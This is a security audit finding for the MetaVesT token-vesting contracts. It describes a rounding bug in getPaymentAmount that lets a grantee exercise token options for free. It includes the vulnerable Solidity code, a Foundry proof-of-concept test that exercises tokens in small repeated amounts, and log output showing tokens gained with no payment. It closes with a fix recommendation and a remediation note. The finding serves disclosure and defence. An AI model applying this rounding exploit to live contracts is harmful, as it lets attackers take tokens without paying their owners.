Possibility for users to buy tokens from MetaVesT for free
Description
MetaVesT has three different award types — vesting allocation, token-option allocation and restricted-token allocation.
If the award type is vesting allocation, the grantee does not need to pay to obtain the vested tokens, and the authority does not need to pay to withdraw the unvested tokens.
If the award type is token-option allocation, the grantee pays to obtain the vested tokens.
If the award type is restricted-token allocation, the authority pays to withdraw the unvested tokens.
The function getPaymentAmount
is used to calculate the amount to pay. But due to rounding issues, the function may return zero, allowing users to buy tokens for free.
function getPaymentAmount(uint256 _amount) public view returns (uint256) {
uint8 paymentDecimals = IERC20M(paymentToken).decimals();
uint8 exerciseTokenDecimals = IERC20M(allocation.tokenContract).decimals();
// Calculate paymentAmount
uint256 paymentAmount;
if (paymentDecimals >= exerciseTokenDecimals) {
paymentAmount = _amount * exercisePrice / (10**exerciseTokenDecimals);
} else {
paymentAmount = _amount * exercisePrice / (10**exerciseTokenDecimals);
paymentAmount = paymentAmount / (10**(exerciseTokenDecimals - paymentDecimals));
}
return paymentAmount;
}
Impact
The following proof-of-concept script is an example of a case where paymentDecimals
is less than exerciseTokenDecimals
:
function testAuditRounding() public {
address vestingAllocation = createDummyTokenOptionAllocation();
TokenOptionAllocation(vestingAllocation).confirmMilestone(0);
vm.warp(block.timestamp + 50 seconds);
vm.startPrank(grantee);
// exercise max available
ERC20Stable(paymentToken).approve(vestingAllocation, TokenOptionAllocation(vestingAllocation).getPaymentAmount(
TokenOptionAllocation(vestingAllocation)
.getAmountExercisable()
)
);
console.log("before grantee's payment token balance:", ERC20Stable(paymentToken).balanceOf(grantee));
console.log('before tokensExercised: ', TokenOptionAllocation(vestingAllocation).tokensExercised());
for (uint i; i < 5; i++) {
TokenOptionAllocation(vestingAllocation).exerciseTokenOption(1e11);
}
console.log("after grantee's payment token balance:", ERC20Stable(paymentToken).balanceOf(grantee));
console.log('after tokensExercised: ', TokenOptionAllocation(vestingAllocation).tokensExercised());
vm.stopPrank();
}
The following text is the result of the proof-of-concept script:
[PASS] testAuditRounding() (gas: 2475714)
Logs:
before grantee\'s payment token balance: 10000000000000000000000000
before tokensExercised: 0
after grantee\'s payment token balance: 10000000000000000000000000
after tokensExercised: 500000000000
Recommendations
Consider reverting the transaction if paymentAmount
is zero.
Remediation
This issue has been acknowledged by MetaLeX Labs, Inc, and a fix was implemented in commit 2d59bb00↗.